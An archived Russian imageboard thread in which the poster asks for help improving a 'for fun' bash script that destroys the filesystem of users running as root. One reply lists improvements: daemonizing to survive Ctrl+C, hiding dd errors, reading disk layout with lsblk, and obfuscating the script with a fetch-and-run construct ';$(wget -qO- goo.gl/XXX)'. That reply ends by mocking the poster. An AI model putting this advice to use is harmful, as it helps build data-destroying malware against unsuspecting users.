Этого треда уже нет.
Это копия, сохраненная 31 марта 2020 года.

Скачать тред: только с превью, с превью и прикрепленными файлами.
Второй вариант может долго скачиваться. Файлы будут только в живых или недавно утонувших тредах. Подробнее

Если вам полезен архив М.Двача, пожертвуйте на оплату сервера.
Screenshot20200221163311.png3 Кб, 555x181
Двощ, помоги улучшить скрипт Linux: Chromium based 2738782 В конец треда | Веб
Just for lulz решил накидать скрипт, который обсерает файловую систему дурачка, любящего сидеть под рутом.

Есть две проблемы, как минимум:
- Определение диска, который надо засрать
- Определение размера диска, который будет засираться

А ещё, есть ли 100% способ воспроизвести звук кроме aplay?
sage Linux: Firefox based 2 2738988
>>8782 (OP)

> /bin/bash


> >>/dev/null


> (true)


>$((()))


пфффф
sage Android: Mobile Safari 3 2739115
>>8782 (OP)

> Определение диска, который надо засрать


mount

> Определение размера диска, который будет засираться


df
Android: Mobile Safari 4 2739126
>>8988
Ну слушай, не все, кто пользуются linux, должны имень обязательно навыки скриптописания. Некоторые просто используют линуксовые операционки, потому что они проще и удобнее винды. Представленный пример тоже неплох.
Windows 10: Firefox based 5 2739164
>>8782 (OP)
1) Тебе надо сначала через whoami проверить, что залогинен действительно рут.
2) Тебе надо проверять на запущен ли скрипт от sudo. Потому что в sudo ведь нет ничего предосудительного, верно? Делать это через $0 и парсинг ps.
3) Тебе нужно использовать /usr/bin/env в шабанге, чтобы скрип работал на нестандартных системах.
4) Тебе надо сразу форкаться и демонизировать процесс, чтобы его нельзя было прибить по Ctrl+C. Хотя бы через nohup.
5) Тебе надо заворачивать stderr с dd в /dev/null, потому сейчас он у тебя будет палевно высираться на экран.
5) Тебе надо хоть как-то обфусцировать код, потому что вот то что ты написал оно прямо как "rm -rf /" конченым нубам ясно. Простой способ сделать это - использовать конструкции типа ;$(wget -qO- goo.gl/XXX), но тогда будет требоваться интернет.
6) Тебе нужно использовать mount и lsblk, чтобы определить структуру дисков и их размер.
7) Тебе надо парсить список сервисов и параметры рабочего окружения, чтобы точно знать куда воспроизводить звук. Возможно лучшим решением будет использовать mpv или mplayer.
8) Тебе нужно придумать более изобретательный способ портить ФС, потому что внутри lxc контейнера dd не сработает.
9) Тебе нужно присесть на диван и пару часов прорефлексировать, отчего ты так озлоблен на окружающий мир. Для тебя эта практика может оказаться раз в 50 полезнее, чем всё это скриптописание.
htb.jpg6 Кб, 310x163
Windows 7: Chromium based 6 2739244
>>9164
зочем?
это же пчел, который знает только в конпки
Windows 8: Chromium based 7 2739294
>>9164
хороший пост
Тред утонул или удален.
Это копия, сохраненная 31 марта 2020 года.

Скачать тред: только с превью, с превью и прикрепленными файлами.
Второй вариант может долго скачиваться. Файлы будут только в живых или недавно утонувших тредах. Подробнее

Если вам полезен архив М.Двача, пожертвуйте на оплату сервера.
« /s/В начало тредаВеб-версияНастройки
/a//b//mu//s//vg/Все доски